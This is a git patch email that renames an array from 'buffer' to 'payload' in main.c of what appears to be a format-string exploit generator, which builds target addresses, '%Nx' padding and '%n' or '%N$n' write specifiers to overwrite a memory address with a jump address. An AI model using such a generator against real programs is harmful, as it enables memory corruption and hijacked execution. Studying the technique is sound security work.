From 909c5c82137a6b81091c14bd7d5dd63d149f8c43 Mon Sep 17 00:00:00 2001 From: Olivier Gayot Date: Mon, 27 Jan 2014 00:29:25 +0000 Subject: rename buffer to payload the name of the payload, 'buffer', was very confusing. I renamed it to 'payload' which is meaningful. BTW, I removed the export of the symbol. It is not very important since there is only one source file but there was no need to export it. --- main.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/main.c b/main.c index 690ce83..474d28d 100644 --- a/main.c +++ b/main.c @@ -24,7 +24,7 @@ #include #include -unsigned char buffer[4096]; +static unsigned char payload[4096]; /* address to override */ static unsigned long override_addr_g; @@ -32,7 +32,7 @@ static unsigned long override_addr_g; /* address to jump to */ static unsigned long jmp_addr_g; -/* index of the element on the stack which is the beginning of the buffer */ +/* index of the element on the stack which is the beginning of the payload */ static unsigned int idx_stack_g; /* assume that an address is 'address_size_g' bytes long */ @@ -153,7 +153,7 @@ int main(int argc, char *argv[]) \ for (int sh = 0; sh < address_size_g; ++sh) { \ for (int shift = 0; shift < address_size_g; ++shift) { \ - buffer[i++] = (override_addr >> (shift * 8)) & 0xff; \ + payload[i++] = (override_addr >> (shift * 8)) & 0xff; \ ++written; \ } \ ++override_addr; \ @@ -175,27 +175,27 @@ int main(int argc, char *argv[]) int remaining; if ((remaining = calc_remaining((jmp_addr_g >> (shift * 8)) & 0xff, &written)) < 8) { - memcpy(buffer + i, "ffffffff", remaining); + memcpy(payload + i, "ffffffff", remaining); i += remaining; } else { - i += sprintf((char *)buffer + i, "%%%dx", remaining); + i += sprintf((char *)payload + i, "%%%dx", remaining); ++values_pop; } if (values_pop == idx_stack_g) { /* (very) unlikely */ - i += sprintf((char *)buffer + i, "%%n"); + i += sprintf((char *)payload + i, "%%n"); ++values_pop; } else { - i += sprintf((char *)buffer + i, "%%%d$n", idx_stack_g); + i += sprintf((char *)payload + i, "%%%d$n", idx_stack_g); } ++idx_stack_g; } /* we write our payload */ - fwrite(buffer, 1, i, stdout); + fwrite(payload, 1, i, stdout); return 0; -- cgit v1.2.3